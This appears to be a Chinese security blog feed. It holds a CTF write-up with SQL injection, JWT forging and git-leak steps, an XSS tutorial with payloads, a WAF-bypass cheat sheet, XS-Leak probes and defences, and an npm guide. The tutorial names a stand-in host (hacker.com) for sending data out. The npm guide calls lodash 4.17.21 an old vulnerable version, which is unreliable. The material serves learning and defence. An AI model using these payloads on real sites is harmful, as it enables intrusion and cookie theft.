xiexie Hexo http://47.109.24.42/ All rights reserved 2026, xiexie xiexie 的技术记录：记录、复现与理解。 xiexie'blog 2026-07-12T16:00:00.000Z xiexie
  • CampusOneStudent Store
    一个接口/api/debug/sessions 爆不出来 一个字典里面几百万个都没法 虽然感觉这个组合也不是很难 但是一般的爆破都是递归的 也就是说/api能访问 然后才会向下 这个不一样… 所以没法了
    假设知道了吧… 得到了管理员session id抓包去改 然后去访问/admin接口 进行只过滤了空格的sql注入

    这样 sql注入就是最基础的
    列数
    q='/**/order/**/by/**/5--+

    不一样的地方 然后看表名
    '/**/union/**/select/**/1,2,3,name,5/**/from/**/sqlite_master--+
    得到key value
    '/**/union/**/select/**/1,2,3,key,value/**/from/**/secrets--+
    坐等官方wp
    ivory学长说前端有泄露

    接口是暴露的 然后没有要求什么权限 任意都能登录
  • /view?page=可以实现任意文件读取 ../目录遍历 api文档里面可以看到
    GET /view?page=docs.html
    Retrieves static documentation and system status pages.
    然后部署方式Deployment: Automated via Git-Hooks
    猜测是通过找到JWT密钥拿到权限（可能是极客那个题让我这样想的）

    当时也只能干到这些了 后面学长说是git泄露 那就拿出工具githack

    能扫出来 但是打不开logs objects 前面task9学习了简单的git泄露 看不到关键文件夹

    还是不行的
    学长说githack扫不完 换工具gitdump 这里坑了好久 本地下Docker拉的改名了（轻羽去问了学长的 ） 改个名 正常扫 然后跟着ai走就出来了
  • Mole in the Wall
    它们的安防系统似乎依赖于 debug/config 目录下的一个 JSON 文件…… 提示
    那么访问一下

    • 完整的 JWT 设计情报 后端在校验 JWT 时，只检查这几个 claim 是否匹配
    员工登录这里输入的是token 找到了设计规则 那么自己jwt.io来生成

    用这个token去登陆 得到了一个压缩包 里面一个文件
    <root><network><path>/api/run-flow</path></network></root>
    去这个接口看看
    访问了 是405 路径存在但方法不对 POST对了
    curl.exe -X POST http://127.0.0.1:4999/api/run-flow {“error”:”invalid input”}`
    看其他文件

    1
    "Display.InputDialog\n        Title: $'''Afton Robotics - Maintenance Mode'''\n        Message: $'''Enter Technician Clearance Code:'''\n        InputType: Display.InputType.Password\n        DefaultValue: $''''\n        IsTopMost: True\n        UserInput=> AuthCode\n\n        Display.ShowMessage\n        Message: $'''Initializing animatronic subsystem...\n        Firmware check in progress.'''\n        Icon: Display.Icon.Information\n        Buttons: Display.Buttons.OK\n        IsTopMost: True\n\n        System.RunDosCommand\n        Command: $'''start https://youtu.be/Blv9qVYlioY?si=wvpDtlWkkbvdjbBm'''\n\n        File.ReadTextFromFile\n        File: $'''%CD%\\logs\\session.log'''\n        Encoding: File.Encoding.UTF8\n        Contents=> EncryptedText\n\n        SET FinalVar TO ''\n\n        FOR Index FROM 0 TO Length(EncryptedText) - 1 STEP 1\n            GetSubtext\n            Text: EncryptedText\n            StartIndex: Index\n            Length: 1\n            Subtext=> Char\n\n            ConvertTextToNumber\n            Text: Char\n            Number=> Ascii\n\n            SET DecodedAscii TO Ascii - 1\n\n            GetCharacterFromAsciiCode\n            AsciiCode: DecodedAscii\n            Character=> DecodedChar\n\n            SET FinalVar TO FinalVar + DecodedChar\n        END\n\n        IF AuthCode = FinalVar THEN\n            XML.ReadFromFile\n            File: $'''%CD%\\config\\settings.xml'''\n            XmlDocument=> XmlConfig\n\n            XML.GetElementValue\n            XmlDocument: XmlConfig\n            XPath: $'''//root/network/path'''\n            Value=> ApiPath\n\n            SET Body TO $'''{ \"input\": \"%FinalVar%\" }'''\n\n            Web.InvokeWebServicePost\n            Url: $'''http://girlypies.rusec.ctf%ApiPath%'''\n            RequestBody: Body\n        ELSE\n            Display.ShowMessage\n            Message: $'''CRITICAL ERROR: Springlocks Engaged.'''\n            Icon: Display.Icon.Error\n            Buttons: Display.Buttons.OK\n        END\n\n        System.RunDosCommand\n        Command: $'''start sounds\\startup_jingle.wav'''\n\n        Display.ShowMessage\n        Message: $'''Animatronic ANIM-04 is online.\n        Stage-ready and awaiting guests.'''\n        Icon: Display.Icon.Warning\n        Buttons: Display.Buttons.OK\n        IsTopMost: True"

    这是本来的session.log u$bu_qvsqm4_hvz ascii减一 得到t#at_purpl3_guy
    就用powershell来发了 

    1
    2
    3
    4
    5
    Invoke-RestMethod `
      -Uri http://127.0.0.1:4999/api/run-flow `
      -Method POST `
      -ContentType "application/json" `
      -Body '{"input":"t#at_purpl3_guy"}'

    得到 

    1
    2
    3
    StatusCode        : 200
    StatusDescription : OK
    Content           : {"result":"RUSEC{m1cro$oft_n3ver_mad3_g00d_aut0m4t1on}"}
    1. Commentary
      这一关整理一下网络原理吧

    HTTP 协议规定：
    请求头和请求体之间必须有一个空行
    所以必须是 两个 CRLF(这周做xss了解了的 上面专门写了http协议里面只能解析\r\n)

    关于http/1.0 http/1.1
    HTTP/1.1 的问题 必须要有 Host: 头 没有就可能返回 400
    HTTP/1.0 的特点 不强制 Host

    过程
    TCP 先DNS解析ctf.rusec.club → x.x.x.x
    再TCP三次握手
    应用层 无 Host:nginx 无法进行 vhost 匹配

    1. 收到 TCP 连接
    2. 读取 HTTP 请求头
    3. 取 Host 头的值
    4. 在所有 server_name 中查找匹配的 vhost
    5. 找不到 → 使用 default_server
      这里重新温习了一会关于task0的知识 以及https为什么不行
      TCP → TLS → HTTP ssrf的时候了解过
      ClientHello
      ├─ TLS Version
      ├─ Cipher Suites
      └─ SNI: ctf.rusec.club
      在http之前就以及暴露了的
    ]]>     http://47.109.24.42/2026/07/13/scarlet-ctf/ 2026-07-12T16:00:00.000Z
  • CampusOneStudent Store
    一个接口/api/debug/sessions 爆不出来 一个字典里面几百万个都没法 虽然感觉这个组合也不是很难 但是一般的爆破都是递归的 也就是说/api能访问 然后才会向]]>
    • Scarlet CTF 2026-07-12T16:00:00.000Z     xiexie 一、 浏览器底层机制与安全基石

    理解XSS的执行逻辑，必须建立在充分掌握浏览器渲染流程与同源策略的基础之上。

    1. 浏览器渲染过程与 DOM 构建

    浏览器接收到HTML字节流后，需要将其解析为可供渲染和交互的结构。XSS代码的执行正是发生在这个解析阶段。

    • 分词与打标签 (Tokenizing)：HTML解析器逐字读取字符序列，进行词法分析，识别出标签（如 <html>, <body>）并生成对应的Token。

    • 生成节点对象 (Lexing/Node Generation)：将Token转化为具有DOM属性和方法的节点对象。

    • 构建 DOM 树 (Tree Construction)：根据HTML的嵌套关系，将节点对象按照层级挂载，形成完整的DOM树。DOM（文档对象模型）本质上是HTML文档在内存中的面向对象表示，它作为桥梁，使得JavaScript等脚本语言能够动态访问和更新文档的内容、结构和样式。

    • 安全解析机制（XSS的触发原理）：浏览器是一边解析HTML一边构建DOM的。当HTML解析器遇到 <script> 标签时，会阻塞DOM树的构建，将控制权交由JavaScript引擎执行脚本。 如果该段脚本是攻击者注入的恶意代码，就会在此刻被触发执行。对于 <img onerror> 等事件驱动的标签，则是在节点构建完成、外部资源加载失败或满足特定交互条件时触发脚本执行。

    2. 同源策略 (Same-Origin Policy, SOP)

    同源策略是Web浏览器最核心的安全模型，用于隔离潜在恶意文件。

    • 同源的定义：两个URL的协议 (Protocol)、域名 (Domain)、端口 (Port) 必须完全一致。

    • SOP的限制范围：

      • 禁止读取非同源的 Cookie、LocalStorage、IndexedDB 等本地存储。

      • 禁止获取非同源文档的 DOM 节点（例如无法读取嵌入的跨域 iframe 内部的数据）。

      • 限制跨域 AJAX/Fetch 请求的响应读取。

    • SOP 与 XSS 的关系：攻击者无法直接在自己的服务器上写脚本去跨域读取目标网站的数据。（这里也是对csrf的一个大影响啊）因此，攻击者利用目标网站的输入/输出过滤漏洞，将恶意脚本注入到目标网站的页面中。由于脚本在目标网站的域名下执行，完全符合同源策略，从而获得了目标域下的最高执行权限。

    二、 XSS 漏洞的三大核心类型与源码剖析

    XSS（跨站脚本攻击）的核心区别在于恶意代码的传递路径与触发节点。

    1. 反射型 XSS (Reflected XSS)

    • 特征：非持久化。恶意脚本包含在客户端的HTTP请求（通常是URL参数）中，服务器接收后未做充分的清洗或转义，直接拼接到HTTP响应的HTML中返回给客户端，由浏览器解析执行。

    • 漏洞源码分析 (PHP)：

      PHP

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      // search.php
      <?php 
      // 缺陷：直接获取参数未作安全处理
      $search_query = $_GET['query']; 
      ?> 
      <!DOCTYPE html> 
      <html> 
      <body> 
        <p>搜索结果：<?php echo $search_query; ?></p> 
      </body> 
      </html>

    • 执行路径：攻击者构造URL search.php?query=<script>alert(1)</script> -> 受害者点击 -> 服务器拼接Payload并返回 -> 受害者浏览器执行脚本。

    2. 存储型 XSS (Stored XSS)

    • 特征：持久化，危害范围广。应用程序接收包含恶意脚本的输入数据，并将其持久化存储（如数据库）。后续任何请求该数据的操作，都会导致恶意脚本被包含在响应中返回并执行。

    • 漏洞源码分析 (PHP + MySQL)：

      PHP

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      // 写入接口：save_message.php
      <?php
      $message = $_POST['content']; 
      $conn = mysqli_connect("localhost", "root", "password", "test_db");
      // 缺陷：无过滤直接入库
      $sql = "INSERT INTO message (content) VALUES ('$message')";
      mysqli_query($conn, $sql);
      ?>

      // 读取接口：show_message.php
      <?php
      $conn = mysqli_connect("localhost", "root", "password", "test_db");
      $sql = "SELECT content FROM message";
      $result = mysqli_query($conn, $sql);
      // 缺陷：直接输出数据库内容，未进行HTML实体转义
      while($row = mysqli_fetch_assoc($result)) {
          echo "<div class='msg'>" . $row['content'] . "</div>";
      }
      ?>

    • 执行路径：攻击者提交Payload至数据库 -> 多名用户访问展示页面 -> 服务器读取Payload并随正常文档返回 -> 所有访问者的浏览器执行脚本。

    3. 基于 DOM 的 XSS (DOM-based XSS)

    • 特征：恶意代码全程不经过服务器后端。漏洞存在于客户端JavaScript代码中。前端脚本不安全地读取了客户端可控的数据源（如 URL 参数、location.hash），并通过危险的 DOM API 将其动态插入到页面中引发执行。

    • 漏洞源码分析 (HTML/JavaScript)：

      HTML

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      <!DOCTYPE html>
      <html>
      <body>
        <div id="welcome"></div>
        <script>
          // 获取可控输入源 (Source)
          var username = new URLSearchParams(location.search).get('username');

          // 危险执行点 (Sink)：innerHTML会将传入的字符串当作HTML解析
          document.getElementById('welcome').innerHTML = "欢迎：" + username;
        </script>
      </body>
      </html>

    • 危险的 DOM API (Sinks)：

      • 直接解析HTML：innerHTML, outerHTML, document.write()。

      • 执行字符串代码：eval(), setTimeout(), setInterval()。

      • 动态设置属性：location.href, onclick, onerror。

    innerHTML, outerHTML, document.write()
    这三个是前端 JavaScript 中用于动态操作和修改网页内容的核心 API。它们之所以在 Web 安全（特别是 DOM 型 XSS）中被重点标记为“危险函数（Sinks）”，是因为它们都会将接收到的字符串直接交给浏览器的 HTML 解析器去解析渲染。

    如果这些字符串包含了用户可控的恶意代码，浏览器就会把它们当成真正的 HTML 标签去执行。

    1. innerHTML (内部 HTML)

    • 作用：获取或设置一个 HTML 元素内部的所有内容（包括子节点和文本）。

    • 行为：当你给 innerHTML 赋值一个字符串时，浏览器会销毁该元素原本的所有子节点，然后将这个新字符串当作 HTML 代码进行解析，并生成新的 DOM 节点填充进去。

    代码示例：

    HTML

    1
    2
    3
    4
    5
    6
    7
    8
    <div id="box">原始文本</div>

    <script>
      let el = document.getElementById('box');
      // 修改 innerHTML
      el.innerHTML = "<b>加粗的新文本</b>";
    </script>

    2. outerHTML (外部 HTML)

    • 作用：获取或设置一个 HTML 元素自身及其内部的所有内容。

    • 行为：与 innerHTML 相比，outerHTML 不仅会替换元素内部的内容，还会把元素自己也替换掉。

    代码示例：

    HTML

    1
    2
    3
    4
    5
    6
    7
    8
    <div id="box">原始文本</div>

    <script>
      let el = document.getElementById('box');
      // 修改 outerHTML
      el.outerHTML = "<p>我变成了一个段落</p>";
    </script>

    3. document.write() (文档写入)

    • 作用：直接向 HTML 文档流中写入内容。这是一个非常古老且暴力的 API。

    • 行为：

      • 如果在页面正在加载时调用它，它会把字符串拼接到当前解析位置的 HTML 后面。

      • 如果在页面已经加载完毕（如在 window.onload 或点击事件中）调用它，它会调用 document.open()，清空并重写整个网页的所有内容。

    代码示例：

    HTML

    1
    2
    3
    4
    5
    6
    7
    <body>
      <h1>正常标题</h1>
      <script>
        // 页面加载时执行
        document.write("<h2>动态写入的标题</h2>");
      </script>
    </body>

    为什么它们是 XSS 的“重灾区”？

    在安全领域，我们把接受输入并执行敏感操作的函数称为 Sink（汇聚点/执行点）。这三个 API 就是极其危险的 HTML 解析 Sink。

    假设有一段存在漏洞的代码：

    JavaScript

    1
    2
    let userInput = new URLSearchParams(location.search).get('name');
    document.getElementById('greeting').innerHTML = userInput;

    黑客视角的利用原理：

    1. 常规思维：黑客可能会输入 <script>alert(1)</script>。

      • 防御机制：HTML5 标准规定，通过 innerHTML 或 outerHTML 插入的 <script> 标签不会被执行。这是浏览器的一种底层保护。

    2. 黑客的绕过（事件机制）：既然 <script> 不执行，黑客就会输入 <img src=x onerror=alert(1)>。

      • 破防：innerHTML 会老老实实地解析出一个 <img> 标签，浏览器尝试去加载 src=x，加载失败，立刻触发 onerror 事件，执行了 alert(1)。此时 XSS 攻击成功！

    安全开发规范 (防御方案)

    在日常全栈开发中，如果你只需要向页面中插入纯文本（比如用户的用户名、评论内容），绝对不要使用这三个 API。

    应该使用安全的替代方案：

    • textContent 或 innerText：这两个属性只会把输入的字符串当作“纯文本”处理。即使你传入了 <img src=x onerror=alert(1)>，浏览器也只会把它当成一串普通的字符原样显示在屏幕上，绝不会去解析它，从而从根本上杜绝了 DOM 型 XSS。
    • 执行路径：攻击者构造URL welcome.html?username=<img src=x onerror=alert(1)> -> 受害者点击 -> 服务器返回合法静态页面 -> 浏览器执行页面原有JS -> 原有JS读取URL参数并注入DOM -> 触发 onerror 执行。

    4. 执行字符串代码：eval(), setTimeout(), setInterval()

    这类 API 的危险之处在于，它们拥有将普通的字符串转化为可执行 JavaScript 代码的最高权限。如果外部不可信数据流入了这些函数，就相当于直接把系统的控制台交给了黑客。

    • eval(string)：

      • 作用：直接计算或执行传入的 JavaScript 字符串。

      • 漏洞场景：早期前端常用来解析 JSON 字符串，或者动态执行数学公式。

      • 源码剖析：

        JavaScript

        1
        2
        3
        // 危险代码：直接把 URL 的 hash 部分当做代码执行
        let userMathExpression = location.hash.substring(1); 
        let result = eval(userMathExpression);

      • 攻击Payload：攻击者构造链接 http://target.com/#alert(document.cookie)。eval() 会无条件执行 alert()，瞬间完成攻击。

    • setTimeout(string, delay) 与 setInterval(string, delay)：

      • 作用：定时器函数。现代开发中，第一个参数通常传入一个回调函数，但由于历史兼容性原因，它们也允许传入一个字符串，并在延时后将该字符串作为 JS 代码执行。

      • 漏洞场景：

        JavaScript

        1
        2
        3
        let userName = new URLSearchParams(location.search).get('name');
        // 危险代码：将用户输入拼接到字符串中，交由 setTimeout 执行
        setTimeout("console.log('欢迎, " + userName + "')", 1000);

      • 攻击Payload：攻击者输入 ?name='); alert(1); //。 拼接后的字符串变成了：console.log('欢迎, '); alert(1); //')。这导致原本的打印逻辑被闭合，紧接着执行了攻击者的注入代码，最后的 // 注释掉了多余的引号。

    • 安全规范 (防御方案)：

      • 绝对禁止使用 eval()。如果是为了解析 JSON，必须使用标准的 JSON.parse()。

      • 使用 setTimeout 和 setInterval 时，永远只传入函数引用（回调函数），绝不传入字符串。例如：setTimeout(function() { console.log(userName); }, 1000);。

    5. 动态设置属性：location.href, onclick, onerror

    这类 API 不会直接解析 HTML，也不会显式调用执行器，但它们控制着浏览器的跳转行为和事件响应机制，稍有不慎就会被黑客利用“伪协议”或“事件劫持”完成攻击。

    • 跳转属性：location.href (或 window.location, a.href)：

      • 作用：控制浏览器当前窗口的 URL 地址，常用于页面的重定向或返回上一页功能。

      • 漏洞场景：

        JavaScript

        1
        2
        3
        4
        // 从 URL 获取 "next" 参数作为返回地址
        let backUrl = new URLSearchParams(location.search).get('next');
        // 危险代码：未校验协议，直接赋值给 a 标签的 href
        document.getElementById('backButton').href = backUrl;

      • 攻击Payload：黑客构造链接 ?next=javascript:alert(document.cookie)。 当用户点击“返回”按钮时，浏览器发现这是一个 javascript: 伪协议，于是它不会进行网页跳转，而是直接执行后面的 JavaScript 代码。

    • 事件属性：onclick, onerror, onmouseover 等：

      • 作用：为 DOM 元素绑定用户交互事件。

      • 漏洞场景：

        JavaScript

        1
        2
        3
        4
        let action = new URLSearchParams(location.search).get('action');
        // 危险代码：动态设置元素的 onclick 属性
        let btn = document.getElementById('myBtn');
        btn.setAttribute('onclick', action);

      • 攻击Payload：黑客传入 ?action=alert(1)。当受害者点击该按钮时，恶意代码触发。

    三、 WAF 绕过技术

    在遇到内容过滤设备（WAF）时，需要利用浏览器各解析引擎的特性进行绕过。

    1. 常见触发向量与标签替换

    当 <script> 标签被过滤时，需依赖其他HTML标签的属性解析机制。

    • 资源加载报错型：<img src=x onerror=alert(1)>, <audio src=1 onerror=alert(1)>

    • 自动交互型：<input onfocus=alert(1) autofocus>

    • 伪协议型：<a href="javascript:alert(1)">, <iframe src="javascript:alert(1)">

    • DOM加载型：<svg onload=alert(1)>, <body onload=alert(1)>

    2. 编码绕过技术

    浏览器的解码顺序为：HTML实体解码 -> URL解码 -> JS/Unicode解码。

    • HTML 实体编码：适用于标签的属性值内（如 src, href, onerror）。

      • 十六进制：<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

      • 十进制：<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

    • URL 编码：适用于 href 或 src 等需要进行URL解析的属性。

      • <a href="javascript:%61%6c%65%72%74(1)"> (注：协议头 javascript: 不可被URL编码)

    • Unicode 编码：适用于JS执行上下文中，仅能对标识符（变量名、函数名）进行编码，不能编码控制字符（如括号）。

      • <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

    • Base64 编码：配合 data: 伪协议或 atob() 函数。

      • <a href="javascript:eval(atob('YWxlcnQoMSk='))">

    3. 语法糖与结构绕过

    • 大小写与空格：<ScrIpt>alert(1)</sCRipT>，使用 %09, %0A, /**/, / 替代空格。

    • 符号替换：

      • 反引号替代圆括号：<img src=x onerror=alert1>

      • Throw语句绕过：<img src onerror="window.onerror=eval;throw '=alert\x281\x29'">

    • 函数拼接：<img src=x onerror="window['al'+'ert'](1)">

    • 长度限制绕过：利用 location.hash 或 window.name 传递长Payload。

      • ?name=<svg/onload=eval(location.hash.substr(1))>#alert(document.cookie)

    四 XS-Leak (跨站泄漏)

    当目标系统部署了严格的 CSP (内容安全策略) 或严格过滤导致彻底无法执行 JavaScript 代码时，传统的 XSS 攻击失效，需转向 XS-Leak 侧信道攻击。

    1. XS-Leak 原理

    XS-Leak 是一种利用浏览器底层行为特征（侧信道）来推断目标网站敏感信息的攻击方式。它不要求在目标网站执行代码，而是利用同源策略的机制“盲区”，通过测量跨域请求的副作用（Side Effects）来提取信息。

    2. 经典探测向量 (Vectors)

    • 加载时长测信道 (Timing Attack)：

      • 原理：利用目标系统处理命中数据与未命中数据的时间差进行布尔盲注。

      • 示例：目标搜索接口，检索到敏感词耗时500ms，未检索到耗时50ms。攻击者嵌套 <script> img.src="http://target.com/search?q=admin" </script> 并测量加载时间，推断结果。

    • 窗口/框架数量探测 (Frame Counting)：

      • 原理：虽然SOP禁止读取跨域DOM的内容，但由于历史遗留设计，浏览器允许跨域读取 window.length（目标页面包含的 iframe 数量）。

      • 示例：利用 let win = window.open("url") 打开目标查询页，延时后通过 win.length 判断页面渲染结果。

    • 错误状态探测 (Error Events)：

      • 原理：利用目标接口返回的状态码触发不同的浏览器资源加载事件。

      • 示例：探测登录状态。 <script src="http://target.com/api/user" onload="Log('Auth')" onerror="Log('UnAuth')"></script>。请求成功（200 OK）触发 onload，鉴权失败（401/302）触发 onerror。

    五、 XSS 工程化防御体系

    在全栈开发阶段，必须落实以下防御规范：

    1. 输入验证 (Input Validation)：采用白名单机制，严格校验数据类型、长度、格式。

    2. 输出转义 (Output Encoding)：在数据渲染到DOM前，进行HTML实体编码（将 < 转为 &lt; 等）。现代前端框架（React/Vue）在数据绑定时默认开启防御，但需注意 v-html 或 dangerouslySetInnerHTML 等高危用法。
      在现代前端开发中，Vue 和 React 这样的主流框架其实已经为我们做好了底层的安全防护。默认情况下，当你使用它们的数据绑定语法（比如 Vue 的 {{ }} 或者 React 的 {}）时，框架会自动将数据作为纯文本处理。也就是说，框架会在底层自动进行 HTML 实体转义，把 < 变成 &lt;。

    但是，在某些真实的业务场景中，我们确实需要向页面渲染一段带有格式的富文本（比如你在博客后台用富文本编辑器写的一篇文章，里面包含了加粗、图片等标签）。如果框架还是强行转义，页面上就会直接显示出难看的 <b>加粗</b> 代码，而不是格式化后的文本。

    为了解决这个需求，React 和 Vue 给开发者留了一个“后门” API，用来绕过框架自带的转义保护，直接渲染原生 HTML。这两个后门，就是 dangerouslySetInnerHTML 和 v-html。
    在代码审计现代单页应用（SPA）时，Vue 的 v-html 和 React 的 dangerouslySetInnerHTML 是最容易引发 DOM 型 XSS 的高危触发点（Sinks）。它们在底层的本质，依然是调用了极其危险的 innerHTML。

    • React 的 dangerouslySetInnerHTML
      React 官方极其注重安全，因此故意给这个属性起了一个非常长且吓人的名字（直译为：危险地设置内部 HTML），目的就是每次你在敲击键盘输入这段代码时，都能意识到自己正在做一件危险的事情。

    漏洞代码示例：

    JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    import React from 'react';

    function ArticleView() {
      // 假设 articleContent 是从 URL 参数或未过滤的数据库中获取的
      const articleContent = "<img src=x onerror=alert('React_XSS')>";

      return (
        <div>
          {/* 正常写法（安全）：React 会自动把 < 转义为 &lt; ，页面上只会显示文本 */}
          <div>{articleContent}</div> 

          {/* 高危写法（DOM XSS 触发）：React 放弃转义，直接将恶意代码插入 DOM */}
          <div dangerouslySetInnerHTML={{ __html: articleContent }} />
        </div>
      );
    }
    • Vue.js 的 v-html 指令

    Vue 的做法相对简洁，提供了一个 v-html 指令。它的作用和 React 完全一致：告诉 Vue 引擎，“请不要对这个变量进行转义，直接把它当成 HTML 塞进这个标签里”。

    漏洞代码示例：

    代码段

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <template>
      <div>
        <p>{{ userComment }}</p>

        <p v-html="userComment"></p>
      </div>
    </template>

    <script>
    export default {
      data() {
        return {
          // 假设这是黑客输入的评论
          userComment: "<svg onload=alert('Vue_XSS')>" 
        };
      }
    }
    </script>
    • 防御规范 (DOM Sanitization)

    既然这两个 API 这么危险，但业务又确实需要渲染富文本，我们该怎么办？

    业界标准的做法是：在把不受信任的数据丢给 v-html 或 dangerouslySetInnerHTML 渲染之前，必须先使用专门的 DOM 清洗库（如 DOMPurify）进行“消毒”。

    DOMPurify 的工作原理是：它会在内存中解析这串 HTML，然后根据一份严格的白名单，把所有危险的标签（如 <script>、<object>）和危险的属性（如 onerror、onload、javascript: href）全部剥离剔除，最后只返回干净、安全的 HTML 结构。

    安全修复后的代码示例：

    JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    // 引入净化库
    import DOMPurify from 'dompurify';

    // 假设这是用户提交的脏数据（既有正常标签，也有恶意代码）
    const dirtyData = "<b>加粗文本</b><img src=x onerror=alert(1)>";

    // 1. 进行清洗消毒
    const cleanData = DOMPurify.sanitize(dirtyData); 
    // 清洗后，cleanData 的值变成了："<b>加粗文本</b><img src=x>" (恶意 onerror 被剔除)

    // 2. 再安全地进行渲染
    // React 写法: <div dangerouslySetInnerHTML={{ __html: cleanData }} />
    // Vue 写法:   <div v-html="cleanData"></div>

    1. HttpOnly Cookie：在Set-Cookie响应头中启用 HttpOnly 标志，阻断JS通过 document.cookie 读取凭证。

    2. 内容安全策略 (Content-Security-Policy, CSP)：配置 HTTP Header，白名单限制页面允许加载和执行的资源来源，禁用内联脚本 (unsafe-inline) 和危险函数 (unsafe-eval)。
      服务器通过 HTTP 响应头（或 HTML 的 <meta> 标签）告诉浏览器一份极其严格的白名单。浏览器收到后，会严格按照这份白名单来决定：当前页面可以加载哪些来源的图片、执行哪些来源的脚本、甚至能不能执行内联代码。

    一个经典的 CSP 响应头长这样：

    HTTP

    1
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

    核心防御机制与关键指令

    • default-src 'self'：全局默认策略。除非特别说明，页面上所有的资源（图片、字体、脚本、框架）都只能从**本站（同源）**加载。不存在<img src="http://hacker.com/log"> 把数据传出去的情况

    • script-src 'self' https://trusted.cdn.com：专门针对 JS 脚本的策略。只允许执行本站的脚本和受信任的 CDN 域名下的脚本。黑客注入了 <script src="http://hacker.com/evil.js"></script>？浏览器发现域名不在白名单里，直接报错拒绝加载。

    • 封杀内联脚本（禁用 'unsafe-inline'）：在严格的 CSP 下，直接写在 HTML 里的 <script>alert(1)</script> 块，或者标签上的 onclick="alert(1)"，浏览器都会默认拒绝执行。黑客即使成功把代码注入到了 HTML 里，也变成了一堆无法运行的死字。

    • 封杀危险函数（禁用 'unsafe-eval'）：CSP 默认禁用 eval(), setTimeout(字符串) 等将字符串转化为代码执行的危险 API。

    ]]>     http://47.109.24.42/2026/03/05/%E5%85%B3%E4%BA%8Exss/ 2026-03-05T13:00:00.000Z 一、 浏览器底层机制与安全基石

    理解XSS的执行逻辑，必须建立在充分]]>

    关于xss 2026-03-05T13:00:00.000Z     xiexie nmp使用

    这里去看官网的详细指令还有民间大佬的精髓总结
    NPM (Node Package Manager) 不仅仅是 Node.js 的包管理工具，用于安装、共享和管理项目依赖。CTF中，它更是我们进行依赖环境配置、历史漏洞复现以及供应链安全审计的必备武器。

    1. 基础环境与配置

    NPM 会随着 Node.js 自动安装。

    • 环境自检： * node -v 检查 Node.js 版本。

      • npm -v 检查 NPM 版本。

      • npm doctor 检查 NPM 环境的健康状态。

    • 网络加速（国内环境）：

      • 由于网络问题，可以配置镜像。

      • 安装并使用淘宝镜像：npm install -g cnpm --registry=https://registry.npmmirror.com。随后可用 cnpm install <package-name> 替代 npm 安装。

      • 或者通过命令设置代理：npm config set proxy http://proxy-server:port。

    • 操作配置：

      • npm config 可用于管理 npm 的配置文件。

      • npm get 和 npm set 用于获取或设置配置中的具体值。

    2. 项目初始化与依赖管理

    开发或打靶机的第一步通常是阅读或生成配置文件（package.json）。

    初始化项目

    • npm init 创建一个 package.json 文件。

    • npm init -y 快速生成该文件，跳过所有交互问答。

    核心安装命令 (npm install)

    • 常规本地安装： npm install <package-name> 或简写 npm i <package-name>。依赖默认保存到 dependencies 中；若使用 --save-dev 则添加到 devDependencies（开发环境依赖）。

    • 全局安装： npm install -g <package-name>。

      场景提示： 全局安装通常用于命令行工具。例如在前端开发中常用的脚手架 create-react-app，或者代码监听工具 nodemon。

    • 指定版本安装（CTF 核心技能）： npm install <package>@<version>。

      场景提示： 在 CTF 中复现老漏洞时必备。例如题目使用了存在沙箱逃逸漏洞的旧版 lodash，可以指定安装：npm install lodash@4.17.21。

    • 按配置全量安装： 直接输入 npm install 会安装 package.json 中定义的所有依赖。如果需要一个完全干净的、严格匹配锁文件的安装环境（常用于 CI/CD），可以使用 npm ci。

    依赖维护清理

    • 卸载包： npm uninstall <package-name> 用于本地卸载；npm uninstall -g <package-name> 用于全局卸载。

    • 更新包： npm update <package-name>。

    • 清理无用依赖： npm prune 可以移除多余的（不在 package.json 中）包。npm dedupe 可用于减少依赖树中的重复项。

    • 缓存清理： 如果遇到莫名其妙的安装报错，可通过 npm cache clean --force 清理缓存（npm cache 命令专门用于操作包缓存）。

    3. 信息收集与安全审计 (Security & Audit)

    • 安全漏洞扫描： npm audit 用于运行安全审计并检查已知漏洞。npm audit fix 尝试自动修复这些漏洞。

    • 生成软件物料清单： npm sbom 可以生成项目的 SBOM (Software Bill of Materials)。

      场景提示 在企业级 Web 安全中，SBOM 是防范供应链攻击（如投毒包）的基础。

    • 查看依赖树： * npm ls 或 npm list 列出本地已安装的包。

      • npm list -g --depth=0 仅查看全局安装的顶层包。

      • npm find-dupes 可以在包树中查找重复项。

    • 版本监控： npm outdated 检查项目中是否有过时的包。

    • 在线文档与源码： * npm view 查看注册表中的包信息。

      • npm docs 在浏览器中打开包的文档。

      • npm repo 在浏览器中打开包的代码仓库（如 GitHub）。

    4. 脚本执行与工程化

    在实战中，我们经常需要快速启动服务或执行测试。

    • 定义脚本： 在 package.json 的 scripts 字段定义，如 "start": "node app.js"。

    • 运行脚本： * npm run 可以运行在 scripts 中定义的任意脚本。

      • 内置快捷命令：npm start 启动包，npm test 测试包。

    • 免安装执行（神器 npx / npm exec）： 运行本地或远程 npm 包中的命令。

      场景提示： 在 GitHub 上看到一个用于探测 Web 漏洞的 Node.js 脚本，不想污染本地全局环境，可以直接 npx <package-name> 临时下载并执行一次。

    5. 个人开源与包发布

    了解开发者是如何发布包的

    • 账号管理： 去 npm 官网注册账号后，使用 npm login 本地登录（npm adduser 也可添加注册表账户，npm logout 登出）。

    • 版本控制： 语义化版本规则为 MAJOR.MINOR.PATCH（如 1.2.3）。可通过 npm version patch 自动升级补丁版本（如 1.0.0 → 1.0.1）。

    • 发布与撤回：

      • npm publish 发布包到公开注册表。

      • npm deprecate 废弃包的某个版本（提示用户不再维护）。

      • npm unpublish 从注册表中彻底移除包（有严格的时间限制）。

    6. 避坑指南

    • 权限错误： 如果在全局安装时报错，Mac/Linux 用户需要加 sudo，Windows 用户需以管理员身份运行 CMD/PowerShell。

    • 版本控制符号识别： package.json 中的 ^1.0.0 表示安装 1.x.x 最新版；~1.0.0 表示安装 1.0.x 最新版。注意识别这些符号，防止复现环境版本出现偏差。

    vm

